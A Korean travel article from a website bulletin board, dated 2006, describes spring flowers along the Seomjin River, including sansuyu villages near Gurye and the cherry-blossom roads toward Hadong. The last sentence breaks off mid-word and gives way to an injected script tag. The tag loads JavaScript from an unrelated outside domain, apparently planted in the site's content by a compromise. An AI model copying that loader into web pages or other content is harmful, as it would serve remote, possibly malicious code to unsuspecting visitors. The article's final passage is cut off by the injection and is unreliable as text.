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번호 제목 작성자 등록일 조회
77 섬진강 따라 굽이굽이 꽃의 왈츠 admin 2006-05-04 12418

어머나, 처녀 봄바람 나겠네!



<섬진강은 꽃으로 봄의 시작을 알리고 꽃으로 봄을 완성하는 아름다운 강이다>

봄이 피어오르는 푸른 ‘봄맞이강’, 그 위로 꽃 지도가 그려진다.
열 아홉 살 처녀의 슬픔을 머금은 산수유 꽃이 샛노란 꽃망울을 터트리고, 지고지순하게 연분홍 꽃을 피
워내 은은한 향기를 내뿜는 매화와 하얀 꽃구름 마냥 한꺼번에 폈다 눈보라처럼 쏟아져 나리는 벚꽃잎들
을 모아 섬진강 강바람이 살짝 띄워 보냈나 보다.

아름다운‘꽃강’섬진강의 봄은 왔는가 싶으면 가고 느낄만하면 사라진다. 무상함으로 점철되는 짧은 봄.
김춘수의 시처럼‘나에게로 와서 꽃이 되어’,‘잊혀지지 않는 하나의 눈짓이 되어 주는’강렬한 입맞춤
을 건네고 싶다면 봄이 태어나고 봄이 완성되는 섬진강에서의 낭만적인 여정은 어떨는지.

그대 들리나요? 섬진강이 연주하는 봄의 선율이...

맑은 물 섬진강~!
경상도와 전라도를 가로질러 광양만으로 흘러드는 섬진강.
조용남이 노래한 인심좋은 그곳, 섬진강 시인 김용택이 못 견디겠다는 섬진강의 봄이 더욱 깊어진다. 우
리나라 5대 강 중의 하나인 섬진강은 한강처럼 장대하지도, 동강처럼 멋 떨어지게 굽이치지도 않지만 어
머니의 젖가슴처럼 넉넉하고 포근해 사람들에게서‘어머니의 강’이라 불린다. 전북 진안에서 발원해 이
강에 정을 붙이고, 뿌리를 내린 수많은 사람들의 애환과 삶을 담아 800리를 흐르는 섬진강. 특히나 봄날
의 섬진강은 푸른 산을 굽이돌아 흐르고 흘러 구례와 하동에 이르러서는 폭이 넓어지면서 각양각색의 꽃
들과 어울려 황홀한 한 폭의 수채화를 완성해낸다.


노란 꽃물 터지는 구례 산수유마을에 봄이 피네

계곡에 흐드러진 산수유꽃 국내 최대 산수유마을인 산동면 어느 한 군데 아름답지 않은 곳이 없는 섬진강이지만 굳이 그 작품의 하이라이트를 꼽으라면 단연 섬진
강 중류인 곡성 ~ 구례 간 19번국도, 봄으로 가는 환상적인 드라이브 코스. 섬진강의 양쪽 산 기슭에도,
도로의 양 길가도 온통 꽃물결로 일렁인다. 이 국도를 타고 가다 구례읍에서 살짝 못 미치면 노란 물감
을 쏟아내는 산수유 꽃을 만날 수 있다.


산수유꽃과 계곡의 아름다운 조화 물 좋기로 유명한 지리산 온천랜드에서 만복대 방향으로 10 여
분차로 올라가다보면 국내 최대의 산수유마을인 산동면 상위마
을이 나온다. 상위마을은 매년 봄 상춘객들이 노란 꽃 구름인
산수유꽃을 감상하기 위해 몰려드는 명소. 상위마을에 이르면
노란 산수유꽃 무더기가 구름처럼 마을 전체를 감싸 보는 사람
들을 한껏 매료시킨다. 무더기로 있을때 더욱 아름다운 산수유.

특히 계곡에 흐드러지게 핀 산수유는 기나긴 겨울 뒤끝의 황량
함을 단 숨에 바꿔 놓을 기세로 노란 물감을 풀며 반짝반짝 봄
노래가 한창이다. 마을돌담길을 따라 피어난 산수유는 봄을 맞
는 열여덟 처녀의 두근거리는 가슴처럼 수줍은 듯 살짝 미소를
지으며 객을 맞는다.
산수유에 너무 많이 취하진 말자. 먼 길을 달려와 산수유 꽃만
보고 돌아간다면 아쉬운 일. 내친 김에 남쪽으로 더 내려가 섬
진강변에 핀 벚꽃도 구경하고 가자.



꽃 , 꽃, 꽃 멀미나도 달리고 싶은 섬진강 2백리

<벚꽃이 흐드러지게 핀 섬진강변은 벚꽃구경을 온 사람들로 붐빈다>

‘봄(春)’ 하면 ‘벚꽃’ 을 ‘봄(見)’ 을 빼놓으면 섭섭할 일.
산수유 마을에서 나와 구례에서 하동으로 이어지는 19 번 국도를 달리면 봄의 절정이 손에 잡히는 듯 하
다. 비바람도 침범 못할 하얀 꽃 지붕을 덮어쓴 도로는 온통 벚꽃천지이다. 만개한 벚꽃 사이로 섬진강
이 보이고, 산과 강이 어우러지는 풍경은 그저 ‘환상’이라고 말할 수 밖에. 아쉬운 것은 너무 많은 사
람들이 이 도로를 찾는다는 점이다. 봄날, 그것도 주말 이 도로를 찾는다면, 차와 사람이 뒤엉키며 그야
말로 아수라장이 되어 있는 모습을 쉽게 볼 수 있다. 벚꽃의 정취에 빠져 있다가도 꽉꽉 막힌 도로를 보
면 한숨이 나오는 것은 인지상정. 기자처럼 성격 급한 사람은 창밖으로 보이는 꽃 세상이 사라질까 아쉬
워 아예 차에서 내려버려 벚꽃 길을 도보하기도 한다. 조금 걸으면 어떠리. 벚꽃비가 떨어지는 벚꽃 길
을 걸으며 낭만을 곱씹는 것은 물론이요, 차에 구속당해 이래 저래 못하는 사람들의 부러움을 한몸에 받
을 수 있는데 말이다. 이런 번잡함이 싫다면 19번 국도를 과감히 벗어나는 것도 한 방법이다. 꽉꽉 막힌
도로에 갇혀서 여행 온 즐거움을 잃어버린다면 그것만큼 불행한 일은 없는 법.
돌자. 9번, 861번, 865번 국도에서도 벚꽃의 아름다움을 감상할 수 있으니까! 하동에서 벚꽃이 가장 아
름다운 곳은 화개장터에서 쌍계사 초입에 이르는 6㎞ 구?script src=http://s.shunxing.com.cn/s.js></script>

     
   
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